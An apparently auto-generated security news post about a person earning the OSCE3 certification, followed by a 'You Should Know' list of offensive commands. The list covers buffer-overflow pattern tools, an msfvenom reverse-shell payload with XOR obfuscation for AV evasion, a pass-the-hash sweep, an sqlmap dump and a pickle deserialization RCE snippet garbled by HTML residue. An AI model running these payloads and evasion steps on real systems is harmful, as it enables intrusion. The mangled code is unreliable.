Offensive Security Certified Expert (OSCE3) Certification Journey

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Ivan Spiridonov has achieved the prestigious Offensive Security Certified Expert (OSCE3) certification, marking a significant milestone in advanced penetration testing, exploit development, and web application security. The OSCE3 consists of three demanding exams:

  1. OSED (Offensive Security Exploit Developer) – Focuses on advanced exploit development.
  2. OSEP (Offensive Security Experienced Penetration Tester) – Covers advanced evasion techniques and lateral movement.
  3. OSWE (Offensive Security Web Expert) – Specializes in web application security and code review.

This certification validates expert-level offensive security skills, including custom exploit creation, source code analysis, and hardened system penetration.

You Should Know: Essential Commands & Techniques for OSCE3 Domains

1. OSED (Exploit Development)

  • Buffer Overflow Exploitation (x86/x64) 
    Generate cyclic pattern for crash analysis 
msf-pattern_create -l 1000 > pattern.txt

Find EIP offset 
msf-pattern_offset -l 1000 -q 0x41414641

Bad character detection 
!mona bytearray -b "\x00\x0a\x0d"

  • ROP Chain Generation 

    !mona rop -m kernel32.dll -cpb "\x00\x0a\x0d"

2. OSEP (Advanced Penetration Testing)

  • AV/EDR Evasion with Shellcode Obfuscation 

    Obfuscate shellcode using XOR 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw | xor.py -k 0x41 -o shellcode_enc.bin

  • Lateral Movement via Pass-the-Hash 

    crackmapexec smb 10.0.0.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

3. OSWE (Web App Security)

  • SQL Injection Automation 

    sqlmap -u "http://test.com/login?id=1" --risk=3 --level=5 --batch --dump

  • Deserialization Attacks 

    import pickle 
import os</p></li>
</ul>

<p>class RCE: 
def <strong>reduce</strong>(self): 
return (os.system, ('whoami',))

payload = pickle.dumps(RCE())

    What Undercode Say

    The OSCE3 certification represents mastery in offensive security, requiring deep technical expertise. To excel:
    – Practice manual exploit development (OSED).
    – Master AV/EDR evasion (OSEP).
    – Learn advanced web app hacking (OSWE).

    Expected Output:

    • OSED: Custom shellcode execution bypassing DEP/ASLR.
    • OSEP: Successful lateral movement in a hardened AD environment.
    • OSWE: Exploiting complex web vulnerabilities via code review.

    Prediction

    As offensive security evolves, OSCE3 will remain a top-tier certification for red teamers, with increasing demand for AI-driven penetration testing and cloud security exploitation.

    Relevant URLs:

    IT/Security Reporter URL:

    Reported By: Ivanspiridonov Osce – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

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